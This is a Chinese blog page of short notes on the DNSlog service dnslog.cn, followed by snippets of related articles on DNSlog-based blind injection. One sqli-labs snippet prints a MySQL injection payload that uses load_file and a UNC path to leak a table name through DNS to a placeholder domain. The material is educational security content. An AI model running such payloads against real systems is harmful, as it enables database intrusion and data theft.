DNSLog使用笔记

最新推荐文章于 2025-10-26 07:43:30 发布
原创 最新推荐文章于 2025-10-26 07:43:30 发布 · 5.8k 阅读 · 2 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

首先DNSlog网址：http://www.dnslog.cn/

一般用作回显，这里会记录请求，也就是记录DNS访问记录的东西，同样在局域网可用http服务。

【技巧】DNSlog外带文件
qinjilll的博客
08-23 3889
我们都知道DNS就是将域名解析为ip，用户在浏览器上输入一个域名A.com，就要靠DNS服务器将A.com解析到它的真实ip127.0.0.1，这样就可以访问127.0.0.1服务器上的相应服务。那么DNSlog是什么。DNSlog就是存储在DNS服务器上的域名信息，它记录着用户对域名等的访问信息，类似日志文件。我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功。
sqli-labs通关笔记
m0_67795959的博客
10-23 1208
id=1' and (select load_file(concat("//",(select table_name from information_schema.tables where table_schema = database() limit 3,1),".域名/123.txt")))--+要写为rand(0) 或者rand(4)：rand()函数的执行速度要比 group by查询并插入key值的速度更快，只有rand(0)这个顺序可以导致在插入第三个数据，rand执行第五次时导致键值冲突。
好用的dnslog在线平台
热门推荐
SuperherRo的博客
08-21 4万+
dnslog在线平台分享
DNSlog探测技术漏洞
最新发布
2401_89723786的博客
10-26 951
1、域名和IP的关系一个ip对应多个域名2、DNS的作用在计算机的世界通信里面，两台计算机通信需要相互的逻辑地址，就是ip地址，他的组成是四个八位二进制组成，每一个范围就是十进制0-255，但是这个地址特别长，并且不好记，于是就诞生了dns域名系统，比如我们ping一下百度网址，下面出现ip地址，域名的出现是方便我们记忆，去浏览相关服务器，常见.com edu gov 等等。
dnslog:简约的 DNS 日志记录工具
05-31
dns日志 信息 简约的 DNS 日志记录工具。 捕获所有 DNS 流量并将其文本表示（以压缩形式）存储到/var/log/dnslog/<date>.log.gz 。 创建用于网络取证目的。 $ zcat /var/log/dnslog/2018-07-12.log.gz | head 00:00:00.001595 R A 192.168.107.168 192.168.110.233 ocsp.verisign.com 23.37.43.27 00:00:00.001949 Q PTR 192.168.107.146 199.253.182.182 2.6.e.f.a.b.e.f.f.f.6.5.0.5.2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.e.f.ip6.arpa ? 00:00:00.002314 R AAAA 37.48.122.173 194.5
DNSlog
遇事不决冲冲冲
08-08 1万+
什么是DNSlog DNSlog就是存储在DNS Server上的域名信息，它记录着用户对域名的访问信息，类似日志文件。 原理 payload放到目标网址(也就是dnslog的域名)的子域名处，让存在漏洞的地方去解析，由于解析了域名，发起DNS请求，DNS在解析的时候会留下日志，这些日志会反弹到dnslog的平台上，通过读取这些解析的日志，来获取信息。 使用方法 通过Burp Suite 通过在线平台 http://www.dnslog.cn/ http://ceye.io/ 利用场景 执行命令时没
dnslog
shystartree的专栏
04-07 251
dnslog.cn的使用
weixin_43622525的博客
12-04 9769
网站首页 1点击 Get SubDomain 2复制1x7ojc.dnslog.cn 3打开cmd命令行 4输入nslookup1x7ojc.dnslog.cn 5回到dnslog.cn点击Refresh Record 总结： 用来判断是否可以连接外网
dnslog盲打学习
..
02-27 3568
前言 在渗透或者ctf中，我们可能会遇到一些没有回显的漏洞，这个时候可以通过dnslog来判断存不存在漏洞，并且得到漏洞执行的结果。 什么是dnslog dns是在我们输入一个域名如A.com时，会通过DNS把域名解析为ip，靠着dns解析到真正的ip地址127.0.0.1，这样子才能访问127.0.0.1服务器上的相应服务。 那么DNSlog是什么。DNSlog就是存储在DNS服务器上的域名信息，它记录着用户对域名www.baidu.com等的访问信息，类似日志文件。 可以通过这篇文章好好
No. 31 笔记 | Web安全-SQL手工注入技术学习 Part 2
聚焦网络安全，以多元语言优势汲取知识，分享生动有趣的学习与技术心得。
01-13 1371
总结本文全面梳理了SQL注入技术，涵盖MySQL、Access、MSSQL和Oracle的常见注入方法。提供了大量实战案例，展示了如何手工执行注入攻击并绕过安全防护。反思防御措施需要多层次部署，单一防护手段难以完全防范。检测和防御技术需要结合AI和自动化工具进一步提升效率。建议开发过程中严格执行输入验证和参数化查询。定期进行安全测试和漏洞扫描。
WEB安全之：DNSlog SQL 注入
f_carey的博客
06-18 343
郑重声明： 本笔记编写目的只用于安全知识提升，并与更多人共享安全知识，切勿使用笔记中的技术进行违法活动，利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责，共同维护网络文明和谐。 SQL 注入之：DNSlog 注入1 原理2 利用场景3 前提条件4 平台5 Payloads0x00 命令执行i. *nix:ii. windows0x01 SQL Injectioni. SQL Serverii. Oracleiii. MySQLiv. PostgreSQL0x02 XML Entity .
No.28 笔记 | 反序列化漏洞学习总结
聚焦网络安全，以多元语言优势汲取知识，分享生动有趣的学习与技术心得。
12-25 1121
序列化：将对象转换为字节流，便于在内存、文件、数据库中存储，保证对象完整性与可传递性。例如，把一个包含用户信息（姓名、年龄等）的对象序列化为字节流后，可以方便地进行存储或传输。反序列化：是序列化的逆过程，依据字节流中的对象状态及描述信息重建对象。比如，从存储介质中读取字节流并还原为原始对象。应用场景：广泛应用于远程和进程间通信（RPC/IPC）、连线协议、Web服务、消息代理、缓存/持久性存储区、数据库、缓存服务器、文件系统、HTTP cookie、HTML表单参数、API身份验证令牌等场景。
dnslog在线平台
Lucker_YYY的博客
08-29 1441
分享几个好用的在线平台。
DNSlog介绍
告白的博客
07-09 3万+
0x00 DNSlog 介绍 首先我们知道DNS是起ip与域名的解析的服务，通过ip可以解析到对应的域名。DNSlog就是储存在DNS上的域名相关的信息，它记录着你对域名或者IP的访问信息，也就是类似于日志文件， 0x01 DNSlog回显原理 首先了解一下多级域名的概念，我们知道因特网采用树状结构命名方法，按组织结构划分域是一个名字空间中一个被管理的划分，域可划分为子域，子域再可被划分为多级域名称为一级域名，二级域名，三级域名，从一个域名地址来从右到左依次是顶级域名，二级域名，三级域名,例如 gao
DNSlog注入
kukudeshuo的博客
04-17 2032
DNSlog注入 什么是DNSlog 我们都知道DNS就是将域名解析为ip，用户在浏览器上输入一个域名A.com，就要靠DNS服务器将A.com解析到它的真实ip127.0.0.1，这样就可以访问127.0.0.1服务器上的相应服务。 那么DNSlog是什么。DNSlog就是存储在DNS服务器上的域名信息，它记录着用户对域名www.baidu.com等的访问信息，类似日志文件。 那怎么利用DNSlog进行注入呢？得深入了解一下DNSlog 原理 首先需要有一个可以配置的域名，比如：xxx.io，然后通过代理
DNSlog使用
weixin_48000706的博客
07-31 1993
【代码】DNSlog使用。
网安-DNSlog
lemo_qi的博客
07-18 683
5.顶级域名DNS服务器（Top Level Domain Server），如.com、.cn、.org等。1.hosts文件（C:\Windows\System32\drivers\etc\hosts）5.适用漏洞：RCE、XXE、SSRF、SQL注入、JNDI注入、反序列化等。4.根DNS服务器（Root Server）,13组集群服务器。6.Name Server域名服务器的地址（域名服务商提供）3.本地DNS服务器（路由器自身，转发给上层）2.在线查询记录（HTTP/DNS），可下载。
IdeaFan笔记本风扇控制器使用指南
使用此类软件需要注意，虽然提高风扇转速确实可以提升散热能力，但同时也会增加噪音和可能缩短风扇的使用寿命。因此，建议用户在确实需要的时候，如进行高负荷计算任务时，再开启最高转速模式，并在任务完成后恢复至...
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值